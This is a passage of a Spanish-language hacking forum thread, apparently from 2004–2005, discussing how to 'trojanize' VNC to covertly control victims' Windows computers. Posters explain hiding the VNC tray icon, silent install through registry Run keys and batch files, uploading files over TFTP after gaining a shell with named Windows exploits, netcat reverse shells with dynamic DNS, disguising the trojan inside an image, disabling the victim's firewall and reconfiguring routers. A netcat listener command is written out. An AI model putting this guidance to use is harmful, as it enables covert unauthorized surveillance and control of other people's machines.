El ejecutable de winvnc.exe(notray) es un zip. solo basta renombrar winvnc.exe por winvnc.zip, dentro del zip hay varios archivos class, Java, descompilando esos class con decafe pro podemos ver el programa en codigo fuente, bueno ahi va una persona que maneje un poco de programacion en java(yo no por que ni idea) , se le puede hacer rutinass para insertar los campos antes mencionaddos dentro del class, asi que cuando de ejecute el nuevo winvnc.exe(notray) hara todo lo que antes ya han mencionado, registrios, password y todo, spero que alguein se interese en este tema que de verdad lo

veo super interesante.

Bueno de verdad muchachos que gracias por todos estos tutoriales muy explicitos

Enjoy

Man-In-the-Middle

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Sir_Neo** en **16 Octubre 2004, 21:20**

Perdona Man-in-the-middle, pero he decidido escribir porque tus palabras son un poco dificiles de entender y para aquellos que no lo hayan entendido, traduzco :D.

Cogemos el winvnc.exe y le cambiamos de extension de .exe a .zip. Normalmente, si descomprimios ahora, daría un error, pero no sucede eso, descomprime y suelta 6 o7 ficheros .class, que son los ficheros de java compilados. Luego tomamos el decafe pro demo, que es un programita que descompila ficheros de java, y ta chan!!! tenemos el codigo del winvnc. Como no deja copiar, lo unico que hay que hacer es escribir el codigo a pelo, y compilarlo de nuevo.

Por lo demás, corre cuenta de vuestra imaginación.

Un Saludo.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **17 Octubre 2004, 08:50**

Bueno a eso me referia peeee, pero vale es del winvnc.exe(icon no tray) ;D

Bite

Man-In-the-Middle

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **24 Octubre 2004, 05:03**

Ya está listo el Tutorial...

Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.pdf

http://www.geocities.com/unrayodesoul/gospel/Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.pdf
(Guardar destino como...)

Mirror: http://personal.telefonica.terra.es/web/alexb/manus/Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.zip

Mirror2:
http://ns2.elhacker.net/rojodos/descargas/pafiledb.php?action=download&id=65

Por favor, postead vuestras opiniones y sugerencias por si el escrito necesita ser modificado.

Gracias a todos.

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Winuker** en **25 Octubre 2004, 06:00**

No encuentro la manera de ejecutar el exploit. Me da error al compilarlo. Alguien que me pase el exploit MS-040011 listo para ejecutar? . Gracias. :)

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Winuker** en **25 Octubre 2004, 06:12**

ME HE QUEDADO AKI:

Aunque, en mi caso, yo voy a explotar la vulnerabilidad MS04-011 con el exploit HoD @ http://www.k-otik.com/exploits/04292004.HOD-ms04011-lsasrv-expl.c.php, se obtiene el mismo resultado explotando otras vulnerabilidades como MS03-026 con el exploit Dcom o MS03-049 con el exploit de Wirepair, por poner algunos ejemplos…

ALGUIEN ME AYUDA ? Thank you. :_D :-\ :P :o ;D :)

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **25 Octubre 2004, 09:32**

No sabes leer?? >:(

"Aunque existen muchas y diversas maneras de llegar a obtener una shell remota de cierta víctima, desde el uso de la Ingeniería Social hasta el uso de técnicas más avanzadas de intrusión en sistemas remotos, **no es materia de explicación en este escrito cómo llegar a obtener una shell remota a través de todas ellas. Por lo tanto, damos por hecho que el atacante tiene los conocimientos mínimos para obtener una shell remota.** "

Si no sabes explotar vulnerabilidades con exploits, este tutorial no es para ti...

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **26 Octubre 2004, 00:58**

Suachhhhhhhhh!!! ta ta ta + uno de gracia

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **26 Octubre 2004, 01:37**

Bueno, gospel , tu tendras tus motivos, no lo se, pero me parece que sir_neo y el que postea, tambien hemos colaborado con este tutoral, pero en fin, tendras tus razonessss :-\

Bueno , por lo demas voy a leer , el tutorial y testiar cualquier cosa posteo.

Enhorabuena

Man-In-the-Middle

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **GERØN** en **31 Octubre 2004, 09:03**

---

bueno la vdd es que soy nuevo en estas kodas de troyanos y accesos remotos jejee
digamos que soy un newbie jeje ;D
bueno solo llege hasta el paso 4 ??? despues no se que rayos es un tftp y komo subirlo los archivos que dices
haber si alguien se toma su tiempo y me enseña que le estare en deuda
graxx por anticipado
bye :-\

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **31 Octubre 2004, 09:41**

---

digamos que tienes que instalar un servidor de TFTP, en esta misma web lo encuentras en la sección de descargas.

una vez instalado colocas los archivos a subir dentro de la misma carpeta en la que se encuentra el server, despues solo tienes que teclear los parametros que marca el tutorial y listo.

si aun asi no logras hacerlo, prueba a leer este hilo completo, esta explicado varias veces.

./zhyzura

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **9reynas** en **10 Noviembre 2004, 05:55**

---

nada decirles queles ah quedado una perla de tutorial muy bien hecho y aunque leyendo

el hilo basta para entender todo cunado bajo el tutorial y lovoya aver me sale que el tuttorial tiene un fallo y no abre,, bueno lo he bajado de os tres enlaces y nada .. bueno como dije escelente tutorial

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **x[ne]x** en **10 Noviembre 2004, 06:57**

---

q es exploit?

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **10 Noviembre 2004, 07:16**

---

http://foro.elhacker.net/index.php/topic,38455.0.html

¬ ¬'

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **....Gusto....** en **10 Noviembre 2004, 07:35**

---

vulnerabilidad

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **x[ne]x** en **10 Noviembre 2004, 12:36**

NECESITO SABER CONCPTO DE SHELL Y COMO OBTENERLA

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **10 Noviembre 2004, 12:49**

---

y yo necesito saber por que no buscas un poco por tu cuenta.

Shell y Telnet

Shells gratuitas
http://www.inforsist.net/shells.php

SHELLS GRATUITAS PARA HACKEAR TIPO WARGAMES¡¡¡
http://foro.elhacker.net/index.php/topic,37587.0

Cuenta Shell
http://foro.elhacker.net/index.php/topic,27837

Shell ?
http://foro.elhacker.net/index.php?board=5;action=display;threadid=16784

-- CUENTAS SHELL --
http://foro.elhacker.net/index.php?board=5;action=display;threadid=12556

Que es una shell???
http://foro.elhacker.net/index.php?board=5;action=display;threadid=15419

Curso Shell
http://foro.elhacker.net/index.php?board=15;action=display;threadid=250

Resumen Curso Telnet/Shell por Infohackers.org
http://foro.elhacker.net/index.php?board=15;action=display;threadid=254

Sobre los shell
http://foro.elhacker.net/index.php/topic,32334.0

P.D. no escribas en mayusculas por que das a entender que estas GRITANDO

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **10 Noviembre 2004, 23:26**

Cita de: x[ne]x en 10 Noviembre 2004, 12:36
NECESITO SABER CONCPTO DE SHELL Y COMO OBTENERLA

A ver... si llegas y te encuentras con q los dos posts q habías dejado preguntando esto mismo han "desaparecido", no se te puede haber ocurrido q alguien los ha mandado a donde corresponden: a la basura?? Yo te los borré pq no puedes preguntar estas cosas en el Foro de Hacking Avanzado.

Largo de aquí chaval!! Leete las normas antes de postear, q aquí no estamos para perder el tiempo con gentuza como tú.

x[ne]x, Último aviso!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **9reynas** en **11 Noviembre 2004, 07:24**

---

ya decia yo que este hilo que me parece uno de los mejores de elhacker mo podia acabar asi con esas tonterias ..buneo como dije antes excelente hilo pero los enlaces al tutorial final me rulan los bajo y nada se produce un error en el pdf

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **11 Noviembre 2004, 07:37**

Bueno, de verdad que debes tener un problema con tu adobe reader, por que no vemos por ningun lado ese post de error o si ;)

Vuelve a instalar tu adobe reader

Man-In-the-Middle

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **9reynas** en **11 Noviembre 2004, 12:03**

---

jejeje xnex leete un poco de ezine www.zine-store.com.ar

buneo nada no hay problema con mi pdf por que he bajado los tuto de lo de troyanos indetectable y me va normal pero estos enlaces nada

salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Ronalthenn** en **11 Noviembre 2004, 12:06**

---

hola,, necesito saber como puedo conseguir la shell remota de x victima??? ??? ??? ya que los otros pasos estan muy claros a seguir..

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **x[ne]x** en **11 Noviembre 2004, 12:24**

:D q buna preguta exactamnte lo q quiero saber :D

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Sir_Neo** en **11 Noviembre 2004, 20:44**

Este hilo no va de como obtener la shell remota, va sobre la configuracion del VNC para troyanizarlo. Si kieres obtener una shell pasate por la sección de exploits y leete el otro manual de Gospel que explica como explotar un bug.

RECOPILATORIO DE EXPLOITS [actualizado 10.08.04]
http://foro.elhacker.net/index.php/topic,32810.0.html

Como se Usan los Exploits?????
http://foro.elhacker.net/index.php/topic,11830.0.html

FAQ Exploits y Recopilacion de post interesantes sobre EXPLOITS. 19/8/04
http://foro.elhacker.net/index.php/topic,23643.0.html

El manual lo buscais ustedes que no lo encuentro ahora, quizás este dentro de uno de los enlaces que os paso.

Un Saludo, SirNeo

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **11 Noviembre 2004, 21:08**

Cita de: 9reynas en 11 Noviembre 2004, 12:03
jejeje xnex leete un poco de ezine www.zine-store.com.ar

buneo nada no hay problema con mi pdf por que he bajado los tuto de lo de troyanos indetectable y me va normal pero estos enlaces nada

salu2

Hmmm... el pfd lo he creado con el Adobe Acrobat 6.0 y creo q sólo puede ser visualizado con Adobe Acrobat Reader 5.0 o superior. Puede q tengas q actualizar tu versión.

Siento q te dé problemas...

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **9reynas** en **12 Noviembre 2004, 04:55**

tenias razon instale la 6.0 profesional y ahora si e abre sin problemas .. buneo gracias tio sos lo maximo y aver si abres otro hiloq u tenga la calidad de este ,, he checado el de desempaquetar el besat de potty y esta bueno pero de ocmo modigficar los recursos una vez desempaquetado, no he visto nada he buscado en google y nada nose si me das alguna refernecia o podria serun nuevo hilo..
bueno pienso que y corrijeme si me equvoco por ejemplo cojer la dll y poner un bite mas y esas cosas y luego empaquetarlo de nuevo con la dll detectada pero ahora indetectable .. dime eso es modificar recursos ???

bueno gracias por la respues
ciao 9reynas
salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **9reynas** en **12 Noviembre 2004, 07:30**

acabo de leer un tutorialque dicho sea de paso esta buenisimo.. pero saben al acabar el tutorial me queda una duda cuando termina haciendo la shell reversa con el netcat.... bueno mi duda nos eplantea en ese sentido se especifica que es pr que la victima puede tener dhcp como es logico pero al dra la orden en el nc para ue se conecte con nosotros se debe especificar nuestra ip..... muy logico ,, pero que pasa si como es el caso mio y creoq ue el de la mayoria y tambien tenemos ip dinamica...
me parece que la forma de solucionar este problema seria subiendole un notificador de ip a la victima

logicamente especificando como nombre de devolucion algo como vncvictim o nose bueno o talvez algo que nunca he probado pero que para ser sincero no creo que resulte porque me parece que nc no tiene resolucion dns seria hacer la reverse shell y en la ip poner tudireccion.no-ip.org jejeje

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Lezza** en **17 Noviembre 2004, 12:31**

Solicito el man de vnc en espanol, y si es posible secuencias exoticas y extrasbagantees
,

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Lezza** en **17 Noviembre 2004, 12:35**

Cita de: x[ne]x en 10 Noviembre 2004, 12:36
NECESITO SABER CONCPTO DE SHELL Y COMO OBTENERLA
,,,,,,,,,,,,,,,,,,, la shell a la que ahaces alucion la tienes en tu sistema, solo ecribe man shell, en tu consolo

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **arinity** en **19 Noviembre 2004, 11:28**

Cita de: Ambolius en 22 Septiembre 2004, 11:10
Muy bueno Gospel, en tu linea como siempre ;)

Chincheta temporal y agregado al post de textos y manuales.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **ayorias26** en **02 Diciembre 2004, 00:16**

---

ante todo quisisera saber de donde puedo descargar use el exploit DCOM para MS03-026 u otro similar please respondane

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **02 Diciembre 2004, 00:22**

Mirate el Recopilatorio de Exploits en el Foro de Exploits, q para algo está...

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **VoiZKouTPRo** en **11 Diciembre 2004, 07:24**

Gospel... buscando informacion sobre algunos controles remotos a travez de la red,,, me encontre con tu tema... es excelente,, la verdad es que me intereso bastante,, bueno con la diferencia es que hasta ese momento,, yo estaba utilizando,, una derivación del VNC convencional,, se llama UltraVNC,,, y la verdad es que contiene 2 ventajas apresiables...
.- permite la transferencia de archivos, sin restriccion,, bidireccional...
.- Tiene un modo de chat...

Bueno, comenze a hacerle modificaciones, con la ayuda de tu manual,, y otras asuntos mas que me servian,la cosa es que logre obtener, un ejecutable, mediante un rar, como SFX, que me carga absolutamente todo, ademas de dejar imediatamente activo el server, llegar y usarlo,,

todo bien sin problemas, en win98, y XPSp1...

:Algunos detalles,, (para mí),, me valgo de la ingenieria social, para usarlo..
:Tengo Ip fija, por lo que dejo escuhando la conexion cada vez que lo inician..
:Inconvenientes... al activarse un Bat, me muestra la pantallitas por unos cuantos miliseg.
: Seria bueno... un buen metodo de camuflaje, por la extension..

Por lo demas me sirve,,,,

Bueno .. me gustaria consultarte algo...

me seria muy bueno dejar escuchando nc y desvincularlo del programa ,, pero que ademas,, me registre todo en un archivo txt,, he probado diferentes tipos de combinaciones en los parametros,, pero me han fallado...

Te agradezco por el aporte,, en la red,,

El que Piensa y Siente Tambien VIVE

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **villa** en **11 Diciembre 2004, 22:56**

Para pasar lo que recoje el nc , solo hay que hacer :

Código:
```
nc  -v -l  -p xxxx >> archivo.txt
```

xxxx -> es el puerto que quieres que escuche.
No creo que te refieras a esto , habré entendido mal la pregunta :-\ :-\

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **VoiZKouTPRo** en **13 Diciembre 2004, 23:56**

Gracias Villa.. era ésa mi duda en los comandos,, me he dado cuenta de que me faltaba la doble.">>" solo colocaba una.... bueno,, de todas maneras,, no me deja registrada la IP,, del equipo que trata de hacer conexion al puerto.... pero bueno,, ya con la ayuda que me diste... me queda todo mas claro.. gracias..

Seguire buscando para que me registre la IP..

" El mejor espejo es un viejo amigo""

La

Título: **Re: Troyanizando VNC - Control Remoto con UltraVNC**
Publicado por: **dani_travieso** en **26 Enero 2005, 10:05**

Tengo un problem, les explico maestros, hay alguna forma para que mi cliente resiva soporte remoto sin que el no tenga que instalar algun programa, llamece algun VNC. Yo lo hago eso para evitarle el trabajo a mi cliente en bajarse el VNC y instalarlo en su maquina. hay clientes que no sabes como instalar algun programa X.

Lo que pasa es que yo como webmaster y que utilizo servidor Linux y que tengo el UltraVNC intalado en mi maquina, puedo conectarme a la maquina de mi cliente que utiliza windows xp y no tiene ningun VNC instalado para darle soporte remoto.

O hay alguna forma de que mi cliente se baje algun VNC y algun archivo reg ya configurado solo para ejecutarlo y que se encarge de ejecutar el programa y crear el password.
para qe solo el cliente nos de su ip y listo Soporte Remoto.

me peuden ayudar en eso maestros. :)

En su link qeu dio Gospel sonre "¿Cómo puedo obtener el escritorio remoto de una víctima a partir de una shell remota conseguida tras una intrusión?" puede ser una solucion, pero hay casos en que mis clientes estan protegidos por firewall o dispositivo IDS de detección de intrusos.y hay si seria un problema.

Se lo agradezco antemano y gracias por escucharme.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **26 Enero 2005, 10:10**

Bueno, si son tus clientes, simplemente les pasas en un .zip los dos .bat y el servidorvnc.exe. Q ejecuten primero los dos bats y luego el servidorvnc.exe. Se lo mandas al correo y listo! ya q son tus clientes, confían en ti...

Cuando ya tengan el servidor en ejecución, te conectas tu desde tu cliente VNC.

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **dani_travieso** en **27 Enero 2005, 00:28**

Me dices que le pase en un zip los 2 .bot, te refieres a install_silent.bot y
install.bot a estos 2 te refieres. y el servidorvnc.exe a cual te refieres,
te refiere a winvnc.exe o al programa "UltraVNC-100-RC19.5-Setup". a eso te ferieres
ayudame porfavor, es urgente. y gracias por responderme .

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **27 Enero 2005, 03:06**

A ver... vas al hilo http://foro.elhacker.net/index.php/topic,41671.0.html y te descargas el documento **Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.pdf**. Te lo lees y sigues los mismos pasos para construir el servidorVNC, pero a la hora de subir a la víctima los archivos:

1) WinVNC.exe, localizado en C:\Archivos de programa\ORL\VNC
2) VNCHooks.dll, localizado en C:\Archivos de programa\ORL\VNC
3) omnithread_rt.dll, localizado en C:\WINDOWS\system32
4) El archivo addRegNow.bat.
5) El archivo de lotes addReg.bat

pues en tu caso, como son clientes, se los metes en un .zip y se los pasas por email. Luego, tus clientes deben copiar el winVNC.exe y los .dll en c:\Windows\system32. A continuación, deben ejecutar primero el archivo de lotes addRegNow.bat y segundo el winVNC.exe (es importante seguir este orden). Por último, deben ejecutar el archivo de lotes addReg.bat. Y yastá!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **dani_travieso** en **27 Enero 2005, 08:33**

como saber de donde vienes mis visitantes ya que puedo obtener su ip con mi pagina web, lo que quisiera saber de donde viene el ip, ej: de peru - lima o usa- arizona. algo asi

se puede saber en el CMD del ejecutar de mi xp

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **27 Enero 2005, 09:59**

Citar
como saber de donde vienes mis visitantes ya que puedo obtener su ip con mi pagina web, lo que quisiera saber de donde viene el ip, ej: de peru - lima o usa- arizona. algo asi

se puede saber en el CMD del ejecutar de mi xp

Y exactamente, ¿q tiene q ver esto con utilizar VNC? Con q sepas la IP de tu cliente ya vale... por cierto, si tiene firewall deberá abrir el puerto al q se piensa conectar el clienteVNC.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **dani_travieso** en **29 Enero 2005, 07:31**

Soporte Remoto dentro de una Red

Hay alguna solución para darle Soporte Remoto a un cliente que esta dentro de una red. Digase que este en una cabina o que este en su centro de trabajo, habra alguna soluciona,

Pude ser una solución si yo tengo instalado en mi maquina el UltraVNC y mi cliente hace lo mismo instalando el ultravnc. Necesito algo mas para entrar a una red.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **29 Enero 2005, 07:40**

Mira, antes hablábamos de q tus clientes deberían instalarse el servidorVNC pero ahora q lo pienso, es mucho menos engorroso q habiliten "escritorio remoto" en sus Windows, de forma q sólo necesitan darte su dirección IP y tú te conectas con el cliente de "escritorio remoto" q incorpora Windows. Respecto al soporte dentro de un red: en principio sólo necesitas su IP pública. Si están situados dentro de una red local y no tienen mapeados los puertos hacia sus equipos, no vas a poder acceder de ninguna manera (VNC o escritorio remoto) ya q esa situación requerirá q sea el cliente el q se conecte a ti, y no al revés...

"Escritorio remoto en Windows", "mapear puertos" y "conexiones inversas" son términos q escapan al contenido de este hilo... yo creo q no te puedo decir más sobre Troyanizar VNC q no te haya dicho.

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **dani_travieso** en **01 Febrero 2005, 08:21**

Amigo Gospel:

Me han dejado para investigar algo mas adentro de ultraVNC.

Te explico:
Bueno gracias por responder. Creo que no llegué a explicarme bien. Me voy a explicar mas explícitamente

Como primera tarea me pidieron buscar la forma de cómo facilitar a mi cliente el descargar de un programa X y que sea gratuito y fácil de configurar para el soporte remoto, bueno para mi fue el UltraVNC 19.

Pero después me piden que después de descargar el programa, se le de un clic a algún archivo bat y este ejecute el ultravnc y que después solo aparezca la opción de configurar y solo se ponga el password para la conecction y listo. Bueno hasta hay todo bien, lo puede lograr

Pero después me di con la sorpresa que eso solo funciona con usuarios que usan una sola PC y tiene Internet directamente.

Bueno tu sabes que ahora un cliente X puede tener en su casa 2 ó 3 computadoras(ejemplo: PC1, PC2, PC3) y las tres conectadas a una red y usando Internet indirectamente. La cosa es como darle soporte remoto especialmente a un computadora dentro de esa red(ejemplo: PC2)

La cosa ahora es hacer que el programa ultravnc o cualquier otro programa gratis, pueda hacer todo lo mencionado arriba. Por hay me piden que modifique la programación del UltraVNC. Pero la verdad no se nada sobre esa programación. Me puedes ayudar. crees que se pueda troyanizar.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **02 Febrero 2005, 05:15**

Ya te lo dije:

Citar
Si están situados dentro de una red local y no tienen mapeados los puertos hacia sus equipos, no vas a poder acceder de ninguna manera (VNC o escritorio remoto) ya q esa situación requerirá q sea el cliente el q se conecte a ti, y no al revés...

Es lo malo del VNC, q tu cliente tiene q usar el servidorVNC y tu te conectas con el clienteVNC. Si el usuario no ha mapeado puertos en su router, no podrás acceder...

Citar
La cosa es como darle soporte remoto especialmente a un computadora dentro de esa red(ejemplo: PC2)

En ese caso, el usuario debera mapear el puerto del VNC en el router para q vaya al PC2 cuando tu te conectes con el clienteVNC.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **dani_travieso** en **02 Febrero 2005, 06:57**

---

sabes, me enviaron un link para revisar y referenciarme. yla verdad este soporte remoto esta bueno. todo lo hace desde su web. a simple vista es seguro la web. ademas la forma como descargar y registrarse es buena.

algo asi me pido mi profe. jaa.
te mando el link para que lo revises o de seguro ya lo habras visto.
http://www.logmein.com .

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **PROBOLONE** en **04 Febrero 2005, 01:46**

---

hola pues bien he hecho todo lo dicho, descargado parcheado y configueracion , ahora debo subir los archivos reseñados por tftp a una cuenta, pregunta puede ser un particular o un servidor, quedara mi rastro registrato , suponiendo que subo los archivos, luego que como conecto, atravez de que por favor paso a paso maestros :'(eso de tener una shell no lo tenia previsto tampoco , por favor vuelvan a explicarlo como si fuera inbecil, gracias espero impaciente ;D

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **04 Febrero 2005, 09:59**

Citar
"Aunque existen muchas y diversas maneras de llegar a obtener una shell remota de cierta víctima, desde el uso de la Ingeniería Social hasta el uso de técnicas más avanzadas de intrusión en sistemas remotos, no es materia de explicación en este escrito cómo llegar a obtener una shell remota a través de todas ellas. Por lo tanto, damos por hecho que el atacante tiene los conocimientos mínimos para obtener una shell remota. "

Si no sabes explotar vulnerabilidades con exploits, este tutorial no es para ti...

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **dani_travieso** en **06 Febrero 2005, 04:39**

---

encontre una ayuda de ultravnc para la conexion remota. estuve probando y nada.

Server/Viewer NAT2NAT connection without router modification.

http://216.55.178.47/index.php?section=21

puedes probar y haber si te sale.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **06 Febrero 2005, 11:42**

---

creo que ya esta bastante claro como puedes hacer para obtener control dentro de una red (Gospel ya te lo explico a detalle):

- mapear los puertos del router
- descativar el firewall de la victima para que no te pille y deje conectarte con el.

antes de pooder entrar a la pc de la red primero vas a tener que lograr tener acceso al router para configurarlo a tu antojo.

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **piscy** en **17 Febrero 2005, 06:19**

---

bueno, maestros yo soy nuevo en este mundo pero espero q prontro pueda avanzar en el, no se como conseguir la shell de mi victima, me podrian alyudar ;)

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **17 Febrero 2005, 08:51**

---

te hago un copy / paste del manual aqui publicado:

Citar
"Aunque existen muchas y diversas maneras de llegar a obtener una shell remota de cierta víctima, desde el uso de la Ingeniería Social hasta el uso de técnicas más avanzadas de intrusión en sistemas remotos, no es materia de explicación en este escrito cómo llegar a obtener una shell remota a través de todas ellas. Por lo tanto, damos por hecho que el atacante tiene los conocimientos mínimos para obtener una shell remota. "

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **piscy** en **19 Febrero 2005, 22:38**

---

bueno pues si me haces el favor de decirmelo te lo agradeceria, a x cierto otra duda q tengo, me e bajado vnc-3.3 troyanizado y no te deja utilizarlo sin contraseña, pero lo e modificado con el olly para poder ejecutarse con la contraseña ahora despues lo e ocultado en una imagen con el "calimocho", pero mi pregunta es como puedo meter tambien los archivos .dll q necesita??

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **piscy** en **19 Febrero 2005, 22:54**

---

sq veras mi duda concreta de shell es q no encuentro el archivo nc.exe, no lo tengo en mi ordenador¡¡¡¡¡

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **20 Febrero 2005, 02:46**

---

una manera de obtener una shell remota seria utilizar un exploit....
explicarte como se usa cada exploit seria algo bastante largo por que primero deberas de

saber que vulnerabilidades tiene tu victima .
ya una vez tenida la shell, una manera facil de subirle los archivos seria utilizar TFTP y asi los colocarias directamente en system32.

sobre el archivo nc.exe (llamado netcat), el windows por default no lo tiene, lo tienes que descargar por tu cuenta.

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **20 Febrero 2005, 06:00**

Cita de: piscy en 19 Febrero 2005, 22:54
sq veras mi duda concreta de shell es q no encuentro el archivo nc.exe, no lo tengo en mi ordenador¡¡¡¡¡

¬¬U

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **said** en **22 Febrero 2005, 13:12**

El link que comentaron (logmein) esta genial

Pero una pregunta ..

En la direccion de logmein solo es para windows ..

pero para linux conocen alguno ??

Este tema que estaba leyendo de troyanizando vnc esta bien .. pero se puede hacer igual para linux ??? ya que como no he encontrado un servicio tipo logmein para linux creo que este podria ser una alternativa (troyanizando vnc) y poder ver mi maquina remotamente ..

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **piscy** en **24 Febrero 2005, 05:34**

---

wola otra vez, veras mi duda ahora es la siguiente, cuando le doy a mi victima el vnc troyanizado como puedo acer q cuando se abra el ejecutable se le guarde en system o en cualkier otra carpeta? a x cierto zyhura, ers xico o xica, ya se q esto no viene a cuento pero me lo preguntaba

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **rpvbsas** en **27 Febrero 2005, 17:39**

Sres/as: Gospel, Zhyzura y compania.
Como podran ver soy nuevo en este foro, he leido vuestro material de punta a punta (esta noche) y solo cabe expresar mis felicitaciones por tan logrado trabajo.

Resumido en 2 palabras IM PRESIONANTE!
Gracias a personas como uds. el universo informatico se torna fascinante.
Slds.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **LfUcK** en **16 Abril 2005, 05:05**

---

bueno, me parece que llego un poco tarde a leer este hilo, dos meses de nada... xDD. primero felicitaros, un hlo excelente.
y ahí va mi caso. he instalaco el vnc server y lo he configurado en la maquina a la que quiero acceder remotamente ya que tengo acceso local, he sustituido el vnc.exe por el que no muestra el icono y he añadido una entrada al registro para que se inicie con windows. Todo va de lujo si inicio mi sesion de windows (en la que instale y configuré el vnc) pero el equipo en el que lo instale lo utilizamos varias personas, y cuando inician otra sesion que no es la mia se ejecuta el vnc pero sale la pantalla de propiedades para que le pongamos una contraseña, parece que tienes que conficurar el vnc para cada cuenta de windows en el equipo que quieres atacar. es asi?? y si lo es... se os ocurre alguna forma de solucionarlo?? ya que yo conozco mi contraseña, pero no la de las otras cuentas.
Bueno, eso es todo. gracias a todos lo que han colaborado en este hilo xq es realmente interesante.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **16 Abril 2005, 15:00**

Hmm sí!! Esto te pasa pq estamos trabajando con claves del registro asociadas a HKEY_CURRENT_USER (tu cuenta de usuario, distinta a otras cuentas de usuario del mismo equipo), y es ahí donde creamos las entradas de configuración que tomará el vncserver al iniciarse... Evidentemente, si el VNC es iniciado desde HKEY_LOCAL_MACHINE se ejecutará desde todas las cuentas de usuario, pero al ir a buscar la entrada del registro donde está la configuración del server, si estás en una cuenta de usuario donde no se ha creado esa entrada anteriormente en HKEY_CURRENT_USER, pues te saltará la ventana de propiedades del VNC. La solución supongo q pasará por crear una entrada de registro en HKEY_LOCAL_MACHINE q ejecute un .bat cuya función sea crear una entrada de registro en la clave HKEY_CURRENT_USER con la configuración del servervnc. De esta forma, sea cual sea la cuenta q inicie sesión, se ejecutará la clave Run de HKEY_LOCAL_MACHINE, ejecutando el .bat q añade la entrada de configuración del vncserver a la clave VNC en HKEY_CURRENT_USER. Posteriormente, se debería ejecutar el serverVNC q cogería su configuración desde la entrada de registro recientemente creada en HKEY_CURRENT_USER y cargarse correctamente.

No estoy seguro de q esto funcione pq requiere una secuencia en el tiempo muy específica, q debe cumplir los pasos unos detrás de otros para q todo salga bien:

1) Ejecutar la clave Run de HKEY_LOCAL_MACHINE con el .bat q añade la configuración a la clave VNC de HKEY_CURRENT_USER.
